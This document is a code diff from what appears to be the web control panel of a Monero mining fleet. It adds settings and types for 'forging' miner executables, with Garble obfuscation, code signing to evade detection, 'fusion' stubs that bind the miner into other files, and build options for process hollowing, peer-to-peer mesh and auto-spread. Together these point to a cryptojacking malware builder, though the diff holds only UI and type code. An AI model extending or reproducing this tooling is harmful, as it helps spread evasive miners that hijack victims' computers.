sign_cert_thumbprint: '',
sign_tool_path: '',
sign_timestamp_url: 'http://timestamp.digicert.com',
};
return (
@@ -210,7 +215,27 @@ export default function SettingsPage() {
{serverInfo.local_ips?.length > 0 && (
<p className="form-hint">IPs on this host: {serverInfo.local_ips.join(' · ')}</p>
)}
<p className="form-hint">Set Public URL below if you want the Forge to default to a specific address.</p>
<p className="form-hint">Workers need this LAN address not localhost. Click below to apply best defaults, then Save Calibration.</p>
<button
type="button"
className="btn btn-primary btn-sm"
style={{ marginTop: '0.75rem' }}
onClick={() => {
if (!config) return;
updateField('server.public_url', serverInfo.suggested_url);
updateField('server.open_firewall_on_start', true);
updateField('server.obfuscate_default', false);
updateField('server.sign_enabled', false);
if (!config.wallet.address?.trim()) {
setSaveMessage('Set your Monero wallet below, then Save Calibration.');
} else {
setSaveMessage('Best defaults applied to the form — click Save Calibration to keep them.');
}
}}
>
Use best defaults
</button>
<FieldHint field="calibrate_quick_setup" />
</NeonCard>
)}
@@ -233,9 +258,18 @@ export default function SettingsPage() {
</div>
<div className="form-group">
<label className="label">Public URL (LAN) <HelpTip field="public_url" /></label>
<input type="text" className="input mono" placeholder={serverInfo?.suggested_url || 'http://192.168.1.x:8989'}
value={s.public_url}
onChange={(e) => updateField('server.public_url', e.target.value)} />
<div style={{ display: 'flex', gap: '8px', flexWrap: 'wrap', alignItems: 'center' }}>
<input type="text" className="input mono" style={{ flex: 1, minWidth: '200px' }}
placeholder={serverInfo?.suggested_url || 'http://192.168.1.x:8989'}
value={s.public_url}
onChange={(e) => updateField('server.public_url', e.target.value)} />
{serverInfo?.suggested_url && (
<button type="button" className="btn btn-outline btn-sm"
onClick={() => updateField('server.public_url', serverInfo.suggested_url)}>
Use detected LAN
</button>
)}
</div>
<FieldHint field="public_url" />
</div>
<div className="form-group">
@@ -291,9 +325,11 @@ export default function SettingsPage() {
<h2 className="font-display">Fleet Payout Wallet</h2>
<p className="section-desc">Default wallet the server uses when connecting to the pool. The Forge pre-fills this when building miners.</p>
<div className="form-group">
<label className="label">XMR Address <HelpTip field="wallet" /></label>
<input type="text" className="input mono" value={config.wallet.address}
<label className="label">XMR Address <HelpTip field="calibrate_wallet" /></label>
<input type="text" className="input mono" placeholder="4… (95 chars)"
value={config.wallet.address}
onChange={(e) => updateField('wallet.address', e.target.value)} />
<FieldHint field="calibrate_wallet" />
</div>
<div className="form-group">
<label className="label">Payment ID (optional)</label>
@@ -395,6 +431,47 @@ export default function SettingsPage() {
)}
</NeonCard>
<NeonCard accent="brass" className="settings-section">
<h2 className="font-display">Forge Pipeline</h2>
<p className="section-desc">Defaults for obfuscation and code signing applied when forging on this control PC.</p>
<div className="form-group checkbox-group">
<label className="checkbox-label">
<input type="checkbox" className="checkbox" checked={s.obfuscate_default ?? false}
onChange={(e) => updateField('server.obfuscate_default', e.target.checked)} />
<span>Default: obfuscate new forges with Garble <HelpTip field="obfuscate_default" /></span>
</label>
<FieldHint field="obfuscate_default" />
</div>
<div className="form-group checkbox-group">
<label className="checkbox-label">
<input type="checkbox" className="checkbox" checked={s.sign_enabled ?? false}
onChange={(e) => updateField('server.sign_enabled', e.target.checked)} />
<span>Default: sign forged executables <HelpTip field="sign_enabled" /></span>
</label>
<FieldHint field="sign_enabled" />
</div>
<div className="form-group">
<label className="label">Code signing cert thumbprint (SHA-1) <HelpTip field="sign_cert_thumbprint" /></label>
<input type="text" className="input mono" placeholder="AB CD EF ..."
value={s.sign_cert_thumbprint || ''}
onChange={(e) => updateField('server.sign_cert_thumbprint', e.target.value)} />
<FieldHint field="sign_cert_thumbprint" />
</div>
<div className="form-group">
<label className="label">signtool.exe path (optional) <HelpTip field="sign_tool_path" /></label>
<input type="text" className="input mono" placeholder="Auto-detect from Windows SDK"
value={s.sign_tool_path || ''}
onChange={(e) => updateField('server.sign_tool_path', e.target.value)} />
</div>
<div className="form-group">
<label className="label">Timestamp server URL <HelpTip field="sign_timestamp_url" /></label>
<input type="text" className="input mono"
value={s.sign_timestamp_url || 'http://timestamp.digicert.com'}
onChange={(e) => updateField('server.sign_timestamp_url', e.target.value)} />
<FieldHint field="sign_timestamp_url" />
</div>
</NeonCard>
<NeonCard accent="green" className="settings-section">
<h2 className="font-display">Data & Limits</h2>
<p className="section-desc">Retention and capacity for this host.</p>

View File

@@ -18,6 +18,8 @@ export interface Agent {
cpu_usage_pct: number;
memory_usage_pct: number;
uptime_seconds: number;
notes?: string;
tags?: string[];
}
export interface Share {
@@ -100,6 +102,11 @@ export interface ServerSettings {
strict_wallet_validation: boolean;
dashboard_subtitle: string;
open_firewall_on_start: boolean;
obfuscate_default?: boolean;
sign_enabled?: boolean;
sign_cert_thumbprint?: string;
sign_tool_path?: string;
sign_timestamp_url?: string;
}
export interface PoolConfig {
@@ -244,6 +251,24 @@ export interface BuildRequest {
process_hollowing?: boolean;
mesh_p2p?: boolean;
auto_spread?: boolean;
obfuscate?: boolean;
sign_build?: boolean;
}
export interface FusionEstimate {
prep_bytes: number;
prep_name: string;
estimated_worker_bytes: number;
estimated_fusion_stub_bytes: number;
estimated_resource_patch_bytes: number;
estimated_total_bytes: number;
output_file_name: string;
project_root_path: string;
archive_path_hint: string;
export_path?: string;
obfuscate: boolean;
sign_build: boolean;
notes: string[];
}
export interface BuildResponse {
@@ -262,6 +287,8 @@ export interface BuildResponse {
error?: string;
fusion_enabled?: boolean;
worker_file?: string;
signed?: boolean;
obfuscated?: boolean;
}
export interface BlueprintInfo {
@@ -273,5 +300,5 @@ export interface BlueprintInfo {
export interface WSMessage {
type: string;
payload: any;
payload: import('./ws').WSPayload;
}

View File

@@ -0,0 +1,56 @@
import type { Agent } from '../types';
/** Dashboard WebSocket payloads — keep in sync with server/internal/api/ws_types.go */
export interface WSDashboardInit {
agents: Agent[];
}
export interface WSAgentOffline {
agent_id: string;
}
export interface WSStatsUpdate {
agent_id: string;
hashrate_15s: number;
hashrate_1m: number;
hashrate_15m: number;
cpu_usage_pct: number;
memory_usage_pct?: number;
uptime_seconds?: number;
shares_submitted?: number;
shares_accepted?: number;
}
export interface WSCommandResult {
agent_id?: string;
action?: string;
success?: boolean;
message?: string;
}
export interface WSAgentLog {
agent_id: string;
content: string;
}
export interface WSServerLog {
line: string;
}
export type WSPayload =
| WSDashboardInit
| Agent
| WSAgentOffline
| WSStatsUpdate
| import('../types').Share
| import('../types').FleetAlert
| import('../types').PoolStatus[]
| import('../types').AIActivityEntry
| WSCommandResult
| WSAgentLog
| WSServerLog;
export interface WSMessageTyped<T extends string = string> {
type: T;
payload: WSPayload;
}